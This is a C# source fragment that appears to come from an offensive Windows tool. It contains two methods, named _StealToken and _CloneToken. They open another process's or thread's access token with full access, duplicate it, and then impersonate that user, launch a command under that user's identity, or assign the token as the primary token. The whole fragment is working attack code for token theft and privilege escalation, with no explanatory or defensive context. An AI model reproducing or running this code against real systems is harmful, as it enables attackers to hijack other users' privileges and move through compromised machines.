////////////////////////////////////////////////////////////////////////////////
//
////////////////////////////////////////////////////////////////////////////////
private static bool _StealToken(CommandLineParsing cLP, IntPtr hToken)
{
using (TokenManipulation t = new TokenManipulation(hToken))
{
if (string.IsNullOrWhiteSpace(cLP.Command))
{
if (0 != cLP.ProcessID && t.OpenProcessToken(cLP.ProcessID))
{
t.SetWorkingTokenToRemote();
}
else if (0 != cLP.ThreadID && t.OpenThreadToken((uint)cLP.ThreadID, Winnt.TOKEN_ALL_ACCESS))
{
t.SetWorkingTokenToThreadToken();
}
else
{
Console.WriteLine("[-] Process or Thread ID not Specified");
return(false);
}
if (t.ImpersonateUser())
{
return(true);
}
}
else
{
if (0 != cLP.ProcessID && t.OpenProcessToken(cLP.ProcessID))
{
t.SetWorkingTokenToRemote();
if (!t.DuplicateToken(Winnt._SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation))
{
return(false);
}
t.SetWorkingTokenToNewToken();
}
else if (0 != cLP.ThreadID && t.OpenThreadToken((uint)cLP.ThreadID, Winnt.TOKEN_ALL_ACCESS))
{
t.SetWorkingTokenToThreadToken();
}
else
{
Console.WriteLine("[-] Process or Thread ID not Specified");
return(false);
}
if (t.StartProcessAsUser(cLP.Command))
{
return(true);
}
}
return(false);
}
}
////////////////////////////////////////////////////////////////////////////////
//
////////////////////////////////////////////////////////////////////////////////
private static void _CloneToken(bool remote, int processID, string command, IntPtr hToken)
{
if (!remote)
{
Console.WriteLine("[-] Unable to identify Process ID");
return;
}
if (!string.IsNullOrEmpty(command))
{
if (!remote)
{
Console.WriteLine("[-] Unable to parse {0}", command);
}
}
using (TokenManipulation t = new TokenManipulation(hToken))
{
if (!t.OpenProcessToken(processID))
{
return;
}
t.SetWorkingTokenToRemote();
if (!t.DuplicateToken(Winnt._SECURITY_IMPERSONATION_LEVEL.SecurityDelegation))
{
Console.WriteLine("[-] Unable to Duplicate with Delegation, attempting Impersonation");
if (!t.DuplicateToken(Winnt._SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation))
{
return;
}
}
if (!t.AssignPrimaryToken())
{
return;
}
}
}